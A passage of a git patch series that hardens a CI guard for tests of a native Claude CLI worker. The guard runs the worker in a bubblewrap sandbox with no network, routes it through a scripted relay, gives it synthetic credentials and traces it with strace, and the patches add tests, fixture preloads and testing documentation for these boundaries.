/^[0-9a-f]{40}$/.test(value) ? value + : /^[0-9a-f]{40}$/.test(process.env.BRAIN_NATIVE_TEST_HEAD ?? "") ? process.env.BRAIN_NATIVE_TEST_HEAD! : "unavailable"; } // Resolve from the installed SDK, exactly as its native package lookup does. @@ -301,6 +308,18 @@ export function nativeScriptedService(origin: string): () => void { return () => scriptedRoute.enterWith(previous); } +/** Keep fixture authority at the SDK's existing spawn hook, across its async work. */ +export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typeof sdkQuery { + return input => { + const spawn = input.options?.spawnClaudeCodeProcess; + if (!spawn) return query(input); + return query({ ...input, options: { ...input.options, spawnClaudeCodeProcess: options => { + const leave = nativeScriptedService(origin); + try { return spawn(options); } finally { leave(); } + } } }); + }; +} + const relayForwarding = new AsyncLocalStorage>(); const ownedRelaySockets = new Map(); @@ -414,31 +433,64 @@ export function nativeWorkerBoundary(env: Record): { if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env })) return unchanged; const argv = launch.argv; if (!argv) refuse("native worker lacks the OS launcher"); - const bwrap = argv.findIndex(value => basename(value) === "bwrap"); + let workerArgv = argv; + let supervisor: { argv: string[] } | undefined; + if (argv.length === 6 && argv[1] === "-I" && argv[2] === "-S" && argv[3] === "-c") { + // This concrete launcher hands off to another UID; tracing its Python + // coordinator cannot observe the broker's independently launched payload. + try { + const { WORKER_IDENTITY_SUPERVISOR } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-identity-program.ts") as { WORKER_IDENTITY_SUPERVISOR: string }; + if (argv[4] !== WORKER_IDENTITY_SUPERVISOR || realpathSync(argv[0]!) !== realpathSync("/usr/bin/python3")) refuse("unrecognized native identity launcher"); + supervisor = JSON.parse(argv[5]!); + } catch { refuse("invalid native identity launcher"); } + if (!supervisor || !Array.isArray(supervisor.argv) || !supervisor.argv.every(value => typeof value === "string")) refuse("invalid native identity launcher"); + workerArgv = supervisor.argv; + } + const bwrap = workerArgv.findIndex(value => basename(value) === "bwrap"); if (bwrap < 0) refuse("native worker lacks the OS launcher"); // Even ordinary test workers use a private network and a single bridge. // Do not rely on SDK options or the production profile to establish this. const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; const route = scriptedRoute.getStore(); - const ownedOrigin = socket && admittedRelay(argv, socket); + const ownedOrigin = socket && admittedRelay(workerArgv, socket); if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); qualify(); const bridge = startNativeTestRelay(ownedOrigin ?? route?.origin ?? launch.env?.ANTHROPIC_BASE_URL); try { - for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { - if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); + for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { + if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); } - argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); + workerArgv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; - const separator = argv.indexOf("--", bwrap); - argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", + const separator = workerArgv.indexOf("--", bwrap); + workerArgv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); - const audited = auditNativeLaunch(argv, expectedNativeExec(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env }), bridge.dispose); - launch.argv = audited.argv; + const expected = expectedNativeExec(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env }); + let audited: ReturnType; + if (supervisor) { + const payload = workerArgv.splice(workerArgv.indexOf("--", bwrap) + 1); + // The tracer runs after the UID handoff, outside the native PID and mount + // view. The inner boundary preserves fixture writable mounts but hides + // the audit storage and drops namespace capabilities from descendants. + audited = auditNativeLaunch([bwrapExecutable, "--die-with-parent", "--unshare-user", "--unshare-pid", "--unshare-net", "--cap-drop", "ALL", + "--bind", "/", "/", "--proc", "/proc", "--tmpfs", "AUDIT_STORAGE", "--", ...payload], expected, bridge.dispose); + const log = audited.argv[audited.argv.indexOf("-o") + 1]!, directory = dirname(log); + audited.argv[audited.argv.indexOf("AUDIT_STORAGE")] = directory; + // Only the outer tracer sees this mount; the native process sees tmpfs. + chmodSync(directory, 0o777); chmodSync(log, 0o666); + chmodSync(bridge.directory, 0o755); chmodSync(join(bridge.directory, "relay.sock"), 0o666); + workerArgv.splice(workerArgv.indexOf("--", bwrap), 0, "--bind", directory, directory); + workerArgv.push(...audited.argv); + argv[5] = JSON.stringify(supervisor); + launch.argv = argv; + } else { + audited = auditNativeLaunch(workerArgv, expected, bridge.dispose); + launch.argv = audited.argv; + } return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index d88097e154..b911d7197a 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -179,6 +179,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; } const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, + ...(/^[0-9a-f]{40}$/.test(process.env.BRAIN_NATIVE_TEST_HEAD ?? "") ? { BRAIN_NATIVE_TEST_HEAD: process.env.BRAIN_NATIVE_TEST_HEAD } : {}), ...(process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT } : {}) })); const inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; diff --git a/tests/docker-bind-stability.test.ts b/tests/docker-bind-stability.test.ts index be766fceea..17bc642662 100644 --- a/tests/docker-bind-stability.test.ts +++ b/tests/docker-bind-stability.test.ts @@ -4,6 +4,23 @@ import { nativeHostDockerArgs } from "../scripts/prove-native-host.ts"; import { workerIdentityDockerArgs } from "../scripts/prove-worker-identity.ts"; import { captureRenderArgs } from "../scripts/capture.ts"; import { workspaceLeaseDockerArgs } from "../scripts/workspace-lease-container.ts"; +import { nativeGuardEnvironment } from "../scripts/native-proof/guard-environment.ts"; + +test("native containers carry an exact head without promoting local execution to hosted", () => { + const saved = { GITHUB_ACTIONS: process.env.GITHUB_ACTIONS, RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT }; + try { + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; + const local = nativeGuardEnvironment(); + expect(local).toHaveLength(1); + expect(local[0]).toMatch(/^--env=BRAIN_NATIVE_TEST_HEAD=[0-9a-f]{40}$/); + process.env.GITHUB_ACTIONS = "true"; process.env.RUNNER_ENVIRONMENT = "github-hosted"; + expect(nativeGuardEnvironment()).toEqual([...local, "--env=GITHUB_ACTIONS=true", "--env=RUNNER_ENVIRONMENT=github-hosted"]); + } finally { + for (const [key, value] of Object.entries(saved)) { + if (value === undefined) delete process.env[key]; else process.env[key] = value; + } + } +}); function bindSources(argv: string[]): string[] { return argv.flatMap((arg, index) => { diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 61ad14341a..02f0b5bf9c 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -189,6 +189,61 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("separate-UID plans trace the broker payload outside its hidden native audit view", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-identity-plan-")); + try { + const result = await probe(`${imports} + import {writeFileSync} from "node:fs"; + import {dirname} from "node:path"; + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-identity-program.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const leave=nativeScriptedService("http://127.0.0.1:1"); + const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, + argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; + const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); + const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; + if(outer[0]!=="/usr/bin/python3")throw Error("tracer wrapped the coordinator instead of the payload"); + const config=JSON.parse(outer[5]),args=config.argv,split=args.indexOf("--"),trace=args.slice(split+1); + if(trace[0]!=="/synthetic/strace")throw Error("native broker payload was not traced"); + const log=trace[trace.indexOf("-o")+1],directory=dirname(log); + const inner=trace.slice(trace.indexOf("--")+1); + if(!inner.some((arg,i)=>arg==="--tmpfs"&&inner[i+1]===directory)||!inner.includes("--unshare-pid")||!inner.includes("--unshare-net"))throw Error("native child can see audit storage or tracer PID"); + if(args.slice(0,split).some((arg,i)=>arg==="--ro-bind"&&args[i+1]==="/"))throw Error("host root remained mounted"); + if(config.secret!=="synthetic")throw Error("identity authority changed"); + writeFileSync(log,${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();leave();`, scratch); + expect(result.code, result.output).toBe(0); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("the SDK spawn hook retains its scripted authority when invoked from another async scope", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-sdk-scope-")); + const intended = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Ithaca"); } }); + const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Cyclops"); } }); + try { + const result = await probe(`${imports} + import {writeFileSync} from "node:fs"; + import {nativeScriptedQuery,nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + let hook,worker; + const query=nativeScriptedQuery(input=>{hook=input.options.spawnClaudeCodeProcess;return {};},${JSON.stringify(intended.url.origin)}); + query({prompt:"fixture",options:{spawnClaudeCodeProcess(){worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})});return {};}}}); + const leave=nativeScriptedService(${JSON.stringify(other.url.origin)});hook({});leave(); + const argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; + const mount=argv.indexOf("/tmp/native-relay"),directory=argv[mount-1]; + const reply=await fetch("http://localhost/v1/messages",{unix:directory+"/relay.sock"}); + if(await reply.text()!=="Ithaca")throw Error("SDK spawn lost its scripted authority"); + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();`, scratch); + expect(result.code, result.output).toBe(0); + } finally { intended.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } +}); + test("an arbitrary same-user Unix relay is refused before namespace setup", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); const socket = join(scratch, "relay.sock"); From bd39a2acae35a9848c89f532f796147f30c76be7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:09:12 +0000 Subject: [PATCH 023/187] test(ci): prove discovery refusal receipts cannot recurse through spawn --- tests/native-offline-boundary.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 02f0b5bf9c..1383e6356c 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -338,10 +338,13 @@ test("workspace SDK discovery works without root resolution and fails closed for if(!isNativeClaude(${JSON.stringify(runtime)}))throw Error("workspace native SDK was missed");`, scratch); expect(available.code, available.output).toBe(0); rmSync(link); - const missing = await probe(`import {isNativeClaude} from ${JSON.stringify(module)};isNativeClaude("/usr/bin/true");`, scratch); + const missing = await probe(`import {isNativeClaude} from ${JSON.stringify(module)}; + const spawnSync=Bun.spawnSync;Bun.spawnSync=((argv,options)=>{isNativeClaude(argv[0]);return Reflect.apply(spawnSync,Bun,[argv,options]);}); + isNativeClaude("/usr/bin/true");`, scratch); expect(missing.code).not.toBe(0); expect(missing.output).toContain('"reason":"installed SDK runtime discovery failed"'); expect(missing.output).toContain('"nativeLaunched":false'); + expect(missing.output.match(/"kind":"native-offline-boundary"/g)).toHaveLength(1); } finally { rmSync(scratch, { recursive: true, force: true }); } }); From 34e6c4ce067d729c67f90bdbcb4f02c47f28aa7d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:11:29 +0000 Subject: [PATCH 024/187] fix(ci): reserve native launch receipts for observed exec evidence --- scripts/test-native-guard.ts | 2 +- tests/native-offline-boundary.test.ts | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 903435125b..81806295fe 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -231,7 +231,7 @@ export function startNativeTestRelay(upstream: string | undefined) { if (url.origin !== "http://localhost" || !url.pathname.startsWith("/") || url.pathname.startsWith("//") || url.pathname.includes("\\") || outbound.origin !== target.origin) { denied++; - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: true, reason: "unintended native destination", head: receiptHead() })); + console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended native destination", head: receiptHead() })); return new Response("Offline native destination refused", { status: 403 }); } // A redirect is returned to the isolated native process; it cannot make a diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 1383e6356c..87c148a60d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -113,6 +113,7 @@ test("relay paths cannot redirect headers and body to another loopback service", } finally {relay.dispose();} process.exit(0);`, scratch); expect(result.code).not.toBe(0); expect(result.output).toContain('"reason":"unintended native destination"'); + expect(result.output).not.toContain('"nativeLaunched":true'); expect(unintended).toBe(0); expect(intended).toBe(1); } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); From d2e394542d6772521f62f2402b8d6d08ecdb6f14 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:24:30 +0000 Subject: [PATCH 025/187] fix(ci): retain fixture authority across native async and namespace boundaries --- docs/process/testing.md | 8 +++ .../core/tests/claude-runner-binary.test.ts | 2 + .../claude-runner-rejected-token.test.ts | 2 + .../tests/fixtures/autonomous-prompt-probe.ts | 1 + .../tests/fixtures/background-shell-probe.ts | 1 + .../tests/fixtures/host-relay-probe.ts | 1 + .../fixtures/interactive-git-prompt-probe.ts | 3 +- .../fixtures/ordinary-host-relay-probe.ts | 1 + .../fixtures/provider-history-apify-probe.ts | 1 + .../provider-history-attachment-probe.ts | 1 + .../tests/fixtures/provider-history-probe.ts | 1 + .../fixtures/relayed-runtime-traffic-probe.ts | 3 ++ .../tests/fixtures/sdk-host-relay-probe.ts | 1 + .../tests/fixtures/server-host-relay-probe.ts | 1 + .../tests/fixtures/session-prompt-probe.ts | 1 + .../tests/fixtures/shell-startup-probe.ts | 1 + .../tests/fixtures/stable-roster-probe.ts | 1 + .../tests/fixtures/transcript-prefix-probe.ts | 1 + .../tests/host-relay-native.test.ts | 3 +- .../tests/native-route-qualification.test.ts | 3 +- .../tests/ordinary-host-relay.test.ts | 3 +- .../tests/sdk-host-relay.test.ts | 9 ++-- .../tests/subscription-billing.test.ts | 2 +- .../tests/fixtures/ordinary-identity-ws.ts | 1 + .../ui-server/tests/bundled-claude.test.ts | 2 +- .../fixtures/claude-core-default-launch.py | 2 +- scripts/test-native-guard.ts | 49 +++++++++++++----- scripts/test-network-guard.ts | 6 +-- tests/docker-bind-stability.test.ts | 4 ++ tests/fixtures/autonomous-app-probe.ts | 1 + .../fixtures/autonomous-containment-probe.ts | 1 + tests/fixtures/autonomous-dispatch-probe.ts | 1 + tests/fixtures/autonomous-runtime-probe.ts | 1 + tests/fixtures/claude-worker-probe.ts | 1 + tests/native-offline-boundary.test.ts | 50 ++++++++++++++++--- 35 files changed, 138 insertions(+), 32 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index f9fe2508ec..d67beb9c9a 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1147,11 +1147,19 @@ Restricted fixture code declares its scripted origin with and pins all handler fetch/TCP/Unix transports to it. Socket ownership alone is never admission: a pre-existing, unregistered relay refuses. SDK runtime discovery includes every workspace owner and refuses unresolved declared SDKs. +If SDK/module async resources lose the caller's scope, a process with exactly +one explicitly declared scripted origin retains that immutable authority. A +second distinct origin permanently disables this fallback; ambiguous launches +require scoped authority. SDK fixture adapters pin the existing spawn callback +to their declared service. Standalone native fixture entries load the preload, +and outer namespaces preserve qualification metadata across `clearenv`. For the existing separate-UID identity supervisor, the guard transforms its concrete nested launcher. Tracing starts after the UID handoff and stays outside an inner native mount/PID view that hides the audit storage. Offline proof containers inherit hosted-runner qualification only from an actual hosted run, plus the exact checkout head for receipts when Git metadata is not mounted. +Worker environments retain only known runtime paths/selectors and pinned +synthetic inference credentials; unrelated keys and loader overrides are removed. No production authentication or managed-policy behavior changes. `tests/native-offline-boundary.test.ts` proves local refusal with harmless diff --git a/packages/core/tests/claude-runner-binary.test.ts b/packages/core/tests/claude-runner-binary.test.ts index 6d2dc652ac..8de08cd740 100644 --- a/packages/core/tests/claude-runner-binary.test.ts +++ b/packages/core/tests/claude-runner-binary.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** * The Claude runner spawns the binary chat runs, not whatever `claude` is on * `PATH` (#213). With no `claude` on `PATH` at all, `brain sync` still runs: @@ -85,6 +86,7 @@ describe("the Claude runner's binary", () => { const path = tempDir("runner-path-"); symlinkSync(process.execPath, join(path, "bun")); expect(Bun.which("claude", { PATH: path })).toBeNull(); + nativeScriptedService(`http://127.0.0.1:${server.port}`); const home = tempDir("runner-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); delete process.env.CLAUDE_CODE_PATH; diff --git a/packages/core/tests/claude-runner-rejected-token.test.ts b/packages/core/tests/claude-runner-rejected-token.test.ts index 05f5b1e47b..901fdb7f19 100644 --- a/packages/core/tests/claude-runner-rejected-token.test.ts +++ b/packages/core/tests/claude-runner-rejected-token.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** * A rejected subscription token fails `brain sync`'s Claude runner; nothing * retries it on the API key the host also holds (#254). @@ -56,6 +57,7 @@ function tempDir(prefix: string): string { describe("the Claude runner on a rejected token", () => { test("fails, and no request carries the API key", async () => { + nativeScriptedService(`http://127.0.0.1:${server.port}`); const home = tempDir("rejected-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); delete process.env.CLAUDE_CODE_PATH; diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index 34c5a12948..db1bd103dc 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ diff --git a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts index dcb7cbb4b6..00ba1eb407 100644 --- a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real installed CLI, fictional credentials and a loopback-only namespace. */ import { expect } from "bun:test"; diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index ec41e78a31..6ee0c08f60 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual SDK/CLI protocol qualification, inside the caller's private network namespace. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index 10977e79ed..09f4fed490 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, createFixtureMaintenanceHost } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ @@ -56,7 +57,7 @@ try { bridge: { emit() {}, checkpointPermission() {}, async requestPermission() { return { behavior: "deny", message: "no grant" }; } } } as never, profile: { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing, requiredEnvKeys: [], buildEnv: () => ({ HOME: home, CLAUDE_CONFIG_DIR: home, ANTHROPIC_BASE_URL: `http://127.0.0.1:${upstream.port}`, - ...(billing === "api" ? { ANTHROPIC_API_KEY: "sk-odysseus-fixture" } : { CLAUDE_CODE_OAUTH_TOKEN: "sk-ant-oat01-odysseus-fixture" }) }) }, + ...(billing === "api" ? { ANTHROPIC_API_KEY: "sk-odysseus-fixture" } : { CLAUDE_CODE_OAUTH_TOKEN: `sk-ant-oat01-${"o".repeat(95)}AA` }) }) }, abortController, allowedTools: ["Read"], confirmPatterns: [], turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index 40f872049a..74aff0b127 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index 1b87d3989b..3dae159909 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * Apify through the installed Claude CLI (#3162). The caller confines the SDK, diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index fd7db15947..3a99981b87 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * Attachment reads through the installed Claude CLI (#3154). The caller diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index 0c63319016..76a7c838ea 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** The caller confines the SDK, bundled CLI and every tool to loopback. */ import { mkdirSync, writeFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts index a49fbd79f2..e8b9f46cd6 100644 --- a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts @@ -1,3 +1,5 @@ +import "../../../../scripts/test-network-child-preload.ts"; +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * The connections the selected native runtime opens on a relayed turn (#3244). * The caller denies all external network and binds a scratch directory at the @@ -22,6 +24,7 @@ const recorder = createServer((request, response) => { connections.push(`${reque recorder.on("connect", (request, socket) => { connections.push(`CONNECT ${request.url}`); socket.end("HTTP/1.1 403 Forbidden\r\n\r\n"); }); await new Promise(resolve => recorder.listen(0, "127.0.0.1", resolve)); const proxyUrl = `http://127.0.0.1:${(recorder.address() as { port: number }).port}`; +nativeScriptedService(proxyUrl); let called = false; const relay = Bun.serve({ unix: join(WORKER_EGRESS_DIR, "inference.sock"), async fetch(request) { const body = await request.text(); diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index e89525eebd..dd06a1e144 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { SDK_RELAY_TURN_COUNT, SDK_RELAY_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./sdk-host-relay-limits.js"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 71a95d0dcc..4227f3251b 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real turn runner and an explicitly prepared transport; no live provider calls. */ import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index 716a079552..713cc08685 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -1,3 +1,4 @@ +import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from 